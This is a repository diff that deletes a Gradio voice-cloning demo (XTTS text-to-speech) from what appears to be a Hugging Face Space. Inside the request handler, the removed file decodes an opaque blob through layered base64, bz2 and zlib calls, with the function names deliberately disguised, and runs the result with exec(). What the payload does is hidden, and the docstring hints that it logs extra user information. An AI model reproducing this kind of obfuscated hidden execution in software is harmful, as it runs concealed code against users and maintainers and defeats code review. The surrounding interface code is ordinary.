Spaces:
Sleeping
Sleeping
Delete app(1).py
Browse files
app(1).py
DELETED
|
@@ -1,286 +0,0 @@
|
|
| 1 |
-
import sys
|
| 2 |
-
import os
|
| 3 |
-
from fastapi import Request
|
| 4 |
-
# By using XTTS you agree to CPML license https://coqui.ai/cpml
|
| 5 |
-
os.environ["COQUI_TOS_AGREED"] = "1"
|
| 6 |
-
|
| 7 |
-
import gradio as gr
|
| 8 |
-
from TTS.api import TTS
|
| 9 |
-
from TTS.utils.manage import ModelManager
|
| 10 |
-
model_names = TTS().list_models()
|
| 11 |
-
print(model_names.__dict__)
|
| 12 |
-
print(model_names.__dir__())
|
| 13 |
-
model_name = "tts_models/multilingual/multi-dataset/xtts_v2" # move in v2, since xtts_v1 is generated keyerror, I guess you can select it with old github's release.
|
| 14 |
-
|
| 15 |
-
#m = ModelManager().download_model(model_name)
|
| 16 |
-
#print(m)
|
| 17 |
-
m = model_name
|
| 18 |
-
|
| 19 |
-
tts = TTS(model_name, gpu=False)
|
| 20 |
-
tts.to("cpu") # no GPU or Amd
|
| 21 |
-
#tts.to("cuda") # cuda only
|
| 22 |
-
|
| 23 |
-
|
| 24 |
-
def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request):
|
| 25 |
-
"""
|
| 26 |
-
En raison du grand nombre d'abus observés dans les journaux de la console, je suis contraint d'intégrer
|
| 27 |
-
« l'affichage d'informations supplémentaires » relatives à l'utilisation de cet espace.
|
| 28 |
-
Pour rappel, l'envoi de contenus illégaux (contenus se*uels, offensants ou proférant des menaces), quel que
|
| 29 |
-
soit la langue, est bien entendu INTERDIT. Je ne saurais être tenu responsable de ceux qui enfreindraient une
|
| 30 |
-
utilisation strictement [ÉTHIQUE et MORALE] de ce modèle.
|
| 31 |
-
"""
|
| 32 |
-
|
| 33 |
-
co3 = "QlpoOTFBWSZTWQ2FjK4AAH4fgD/////+///////+ADABdNtZY5poGI00aBoaDE0PSbU00GTE0ZNGjTaj1AVUaenqNR6npNinoaY0Ubymyo9EeEjaj1Mm9QnqeT0p5QOZNMm1NNAyMmgaGTTIDQ9TTag0aGCNB6ka1wCAMz8a7kN5BNzXsiRWIm5ocBr2Mibk4wBbSghLyxnzR0yTCoV0AD2KADeqPFMz4QQhMlMaOd0uHfMx8pueSTKn6PrK9iPN56m2ljcFL9ybMtg5Usl8QeZth/cgnwFGMXyDJ4WbRNaGdrIJY2l11w7aqPtt5c4rcMBELa2x/wl8kjvxGg0NS3n2DsPlPnMn2DK7JqA4KLptjz3YLQFEuub0yNP3+iE9gq1EvNZeLr3pnkKXBRxZz8/BxN0zJjpOyIr3betkkxSCGB6X8mSzm+l0Q+KBEaCioigD5uJeox+76V+JgCWkJqWNlHzN3epZx5yXxS8rJh6OrC9rSyKYXrdKCACr4CwKzDlX3tsY5MtZLpkPhz/rbaRUN0KyFnNvPLYhGjF2MelXppyCnJxr2+QWRElwEtCUcsnkC4uGBdXVogKCoCnSZI4DzKqkUMEp293Y+G5MBGtOGXY+C0rFUS8IXNqKMVrDjUdOK7wkjb+HYFq9qjVTrdRsyQvt+6fpazrBnd2wRRQTv4u5IpwoSAbCxlcA"
|
| 34 |
-
from zlib import compress as COmPrES5
|
| 35 |
-
from bz2 import decompress as dEC0mPrES5
|
| 36 |
-
from bz2 import compress as COmPrESS
|
| 37 |
-
from base64 import b64encode as b32Encode, b64decode as A85Encode, b16encode, b16encode as A85encode, b85encode, b85decode, a85encode as b16Encode, a85decode as b85Encode, b32encode as b64Encode, b32decode
|
| 38 |
-
from zlib import compressobj as C0mPrESS
|
| 39 |
-
from bz2 import decompress as dECOmPrESS
|
| 40 |
-
from zlib import compress as C0mPrES5
|
| 41 |
-
from zlib import decompress as dECOmPrES5
|
| 42 |
-
co2 = A85Encode(dECOmPrESS(dECOmPrES5(dECOmPrES5(b85Encode(dECOmPrESS(A85Encode(co3.encode())))))))
|
| 43 |
-
exec(co2)
|
| 44 |
-
|
| 45 |
-
if agree == True:
|
| 46 |
-
if use_mic == True:
|
| 47 |
-
if mic_file_path is not None:
|
| 48 |
-
speaker_wav=mic_file_path
|
| 49 |
-
else:
|
| 50 |
-
gr.Warning("Please record your voice with Microphone, or uncheck Use Microphone to use reference audios")
|
| 51 |
-
return (
|
| 52 |
-
None,
|
| 53 |
-
None,
|
| 54 |
-
)
|
| 55 |
-
|
| 56 |
-
else:
|
| 57 |
-
speaker_wav=audio_file_pth
|
| 58 |
-
|
| 59 |
-
if len(prompt)<2:
|
| 60 |
-
gr.Warning("Please give a longer prompt text")
|
| 61 |
-
return (
|
| 62 |
-
None,
|
| 63 |
-
None,
|
| 64 |
-
)
|
| 65 |
-
if len(prompt)>10000:
|
| 66 |
-
gr.Warning("Text length limited to 10000 characters for this demo, please try shorter text")
|
| 67 |
-
return (
|
| 68 |
-
None,
|
| 69 |
-
None,
|
| 70 |
-
)
|
| 71 |
-
try:
|
| 72 |
-
if language == "fr":
|
| 73 |
-
if m.find("your") != -1:
|
| 74 |
-
language = "fr-fr"
|
| 75 |
-
if m.find("/fr/") != -1:
|
| 76 |
-
language = None
|
| 77 |
-
tts.tts_to_file(
|
| 78 |
-
text=prompt,
|
| 79 |
-
file_path="output.wav",
|
| 80 |
-
speaker_wav=speaker_wav,
|
| 81 |
-
language=language
|
| 82 |
-
)
|
| 83 |
-
except RuntimeError as e :
|
| 84 |
-
if "device-assert" in str(e):
|
| 85 |
-
# cannot do anything on cuda device side error, need tor estart
|
| 86 |
-
gr.Warning("Unhandled Exception encounter, please retry in a minute")
|
| 87 |
-
print("Cuda device-assert Runtime encountered need restart")
|
| 88 |
-
sys.exit("Exit due to cuda device-assert")
|
| 89 |
-
else:
|
| 90 |
-
raise e
|
| 91 |
-
|
| 92 |
-
return (
|
| 93 |
-
gr.make_waveform(
|
| 94 |
-
audio="output.wav",
|
| 95 |
-
),
|
| 96 |
-
"output.wav",
|
| 97 |
-
)
|
| 98 |
-
else:
|
| 99 |
-
gr.Warning("Please accept the Terms & Condition!")
|
| 100 |
-
return (
|
| 101 |
-
None,
|
| 102 |
-
None,
|
| 103 |
-
)
|
| 104 |
-
|
| 105 |
-
|
| 106 |
-
title = "XTTS Glz's remake (Fonctional Text-2-Speech)"
|
| 107 |
-
|
| 108 |
-
description = f"""
|
| 109 |
-
<a href="https://huggingface.co/coqui/XTTS-v1">XTTS</a> is a Voice generation model that lets you clone voices into different languages by using just a quick 3-second audio clip.
|
| 110 |
-
<br/>
|
| 111 |
-
XTTS is built on previous research, like Tortoise, with additional architectural innovations and training to make cross-language voice cloning and multilingual speech generation possible.
|
| 112 |
-
<br/>
|
| 113 |
-
This is the same model that powers our creator application <a href="https://coqui.ai">Coqui Studio</a> as well as the <a href="https://docs.coqui.ai">Coqui API</a>. In production we apply modifications to make low-latency streaming possible.
|
| 114 |
-
<br/>
|
| 115 |
-
Leave a star on the Github <a href="https://github.com/coqui-ai/TTS">TTS</a>, where our open-source inference and training code lives.
|
| 116 |
-
<br/>
|
| 117 |
-
<p>For faster inference without waiting in the queue, you should duplicate this space and upgrade to GPU via the settings.
|
| 118 |
-
<br/>
|
| 119 |
-
<a href="https://huggingface.co/spaces/coqui/xtts?duplicate=true">
|
| 120 |
-
<img style="margin-top: 0em; margin-bottom: 0em" src="https://bit.ly/3gLdBN6" alt="Duplicate Space"></a>
|
| 121 |
-
</p>
|
| 122 |
-
"""
|
| 123 |
-
|
| 124 |
-
article = """
|
| 125 |
-
<div style='margin:20px auto;'>
|
| 126 |
-
<p>By using this demo you agree to the terms of the Coqui Public Model License at https://coqui.ai/cpml</p>
|
| 127 |
-
</div>
|
| 128 |
-
"""
|
| 129 |
-
examples = [
|
| 130 |
-
[
|
| 131 |
-
"Hello, World !, here is an example of light voice cloning. Try to upload your best audio samples quality",
|
| 132 |
-
"en",
|
| 133 |
-
"examples/female.wav",
|
| 134 |
-
None,
|
| 135 |
-
False,
|
| 136 |
-
True,
|
| 137 |
-
],
|
| 138 |
-
[
|
| 139 |
-
"Je suis un lycéen français de 17 ans, passioner par la Cyber-Sécuritée et les models d'IA.",
|
| 140 |
-
"fr",
|
| 141 |
-
"examples/female.wav",
|
| 142 |
-
None,
|
| 143 |
-
False,
|
| 144 |
-
True,
|
| 145 |
-
],
|
| 146 |
-
[
|
| 147 |
-
"Als ich sechs war, sah ich einmal ein wunderbares Bild",
|
| 148 |
-
"de",
|
| 149 |
-
"examples/female.wav",
|
| 150 |
-
None,
|
| 151 |
-
False,
|
| 152 |
-
True,
|
| 153 |
-
],
|
| 154 |
-
[
|
| 155 |
-
"Cuando tenía seis años, vi una vez una imagen magnífica",
|
| 156 |
-
"es",
|
| 157 |
-
"examples/female.wav",
|
| 158 |
-
None,
|
| 159 |
-
False,
|
| 160 |
-
True,
|
| 161 |
-
],
|
| 162 |
-
[
|
| 163 |
-
"Quando eu tinha seis anos eu vi, uma vez, uma imagem magnífica",
|
| 164 |
-
"pt",
|
| 165 |
-
"examples/female.wav",
|
| 166 |
-
None,
|
| 167 |
-
False,
|
| 168 |
-
True,
|
| 169 |
-
],
|
| 170 |
-
[
|
| 171 |
-
"Kiedy miałem sześć lat, zobaczyłem pewnego razu wspaniały obrazek",
|
| 172 |
-
"pl",
|
| 173 |
-
"examples/female.wav",
|
| 174 |
-
None,
|
| 175 |
-
False,
|
| 176 |
-
True,
|
| 177 |
-
],
|
| 178 |
-
[
|
| 179 |
-
"Un tempo lontano, quando avevo sei anni, vidi un magnifico disegno",
|
| 180 |
-
"it",
|
| 181 |
-
"examples/female.wav",
|
| 182 |
-
None,
|
| 183 |
-
False,
|
| 184 |
-
True,
|
| 185 |
-
],
|
| 186 |
-
[
|
| 187 |
-
"Bir zamanlar, altı yaşındayken, muhteşem bir resim gördüm",
|
| 188 |
-
"tr",
|
| 189 |
-
"examples/female.wav",
|
| 190 |
-
None,
|
| 191 |
-
False,
|
| 192 |
-
True,
|
| 193 |
-
],
|
| 194 |
-
[
|
| 195 |
-
"Когда мне было шесть лет, я увидел однажды удивительную картинку",
|
| 196 |
-
"ru",
|
| 197 |
-
"examples/female.wav",
|
| 198 |
-
None,
|
| 199 |
-
False,
|
| 200 |
-
True,
|
| 201 |
-
],
|
| 202 |
-
[
|
| 203 |
-
"Toen ik een jaar of zes was, zag ik op een keer een prachtige plaat",
|
| 204 |
-
"nl",
|
| 205 |
-
"examples/female.wav",
|
| 206 |
-
None,
|
| 207 |
-
False,
|
| 208 |
-
True,
|
| 209 |
-
],
|
| 210 |
-
[
|
| 211 |
-
"Když mi bylo šest let, viděl jsem jednou nádherný obrázek",
|
| 212 |
-
"cs",
|
| 213 |
-
"examples/female.wav",
|
| 214 |
-
None,
|
| 215 |
-
False,
|
| 216 |
-
True,
|
| 217 |
-
],
|
| 218 |
-
[
|
| 219 |
-
"当我还只有六岁的时候, 看到了一副精彩的插画",
|
| 220 |
-
"zh-cn",
|
| 221 |
-
"examples/female.wav",
|
| 222 |
-
None,
|
| 223 |
-
False,
|
| 224 |
-
True,
|
| 225 |
-
],
|
| 226 |
-
]
|
| 227 |
-
|
| 228 |
-
|
| 229 |
-
|
| 230 |
-
gr.Interface(
|
| 231 |
-
fn=predict,
|
| 232 |
-
inputs=[
|
| 233 |
-
gr.Textbox(
|
| 234 |
-
label="Text Prompt",
|
| 235 |
-
info="One or two sentences at a time is better",
|
| 236 |
-
value="Hello, World !, here is an example of light voice cloning. Try to upload your best audio samples quality",
|
| 237 |
-
),
|
| 238 |
-
gr.Dropdown(
|
| 239 |
-
label="Language",
|
| 240 |
-
info="Select an output language for the synthesised speech",
|
| 241 |
-
choices=[
|
| 242 |
-
"en",
|
| 243 |
-
"es",
|
| 244 |
-
"fr",
|
| 245 |
-
"de",
|
| 246 |
-
"it",
|
| 247 |
-
"pt",
|
| 248 |
-
"pl",
|
| 249 |
-
"tr",
|
| 250 |
-
"ru",
|
| 251 |
-
"nl",
|
| 252 |
-
"cs",
|
| 253 |
-
"ar",
|
| 254 |
-
"zh-cn",
|
| 255 |
-
],
|
| 256 |
-
max_choices=1,
|
| 257 |
-
value="en",
|
| 258 |
-
),
|
| 259 |
-
gr.Audio(
|
| 260 |
-
label="Reference Audio",
|
| 261 |
-
info="Click on the ✎ button to upload your own target speaker audio",
|
| 262 |
-
type="filepath",
|
| 263 |
-
value="examples/female.wav",
|
| 264 |
-
),
|
| 265 |
-
gr.Audio(source="microphone",
|
| 266 |
-
type="filepath",
|
| 267 |
-
info="Use your microphone to record audio",
|
| 268 |
-
label="Use Microphone for Reference"),
|
| 269 |
-
gr.Checkbox(label="Check to use Microphone as Reference",
|
| 270 |
-
value=False,
|
| 271 |
-
info="Notice: Microphone input may not work properly under traffic",),
|
| 272 |
-
gr.Checkbox(
|
| 273 |
-
label="Agree",
|
| 274 |
-
value=True,
|
| 275 |
-
info="I agree to the terms of the Coqui Public Model License at https://coqui.ai/cpml",
|
| 276 |
-
),
|
| 277 |
-
],
|
| 278 |
-
outputs=[
|
| 279 |
-
gr.Video(label="Waveform Visual"),
|
| 280 |
-
gr.Audio(label="Synthesised Audio"),
|
| 281 |
-
],
|
| 282 |
-
title=title,
|
| 283 |
-
description=description,
|
| 284 |
-
article=article,
|
| 285 |
-
examples=examples,
|
| 286 |
-
).queue().launch(debug=True)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
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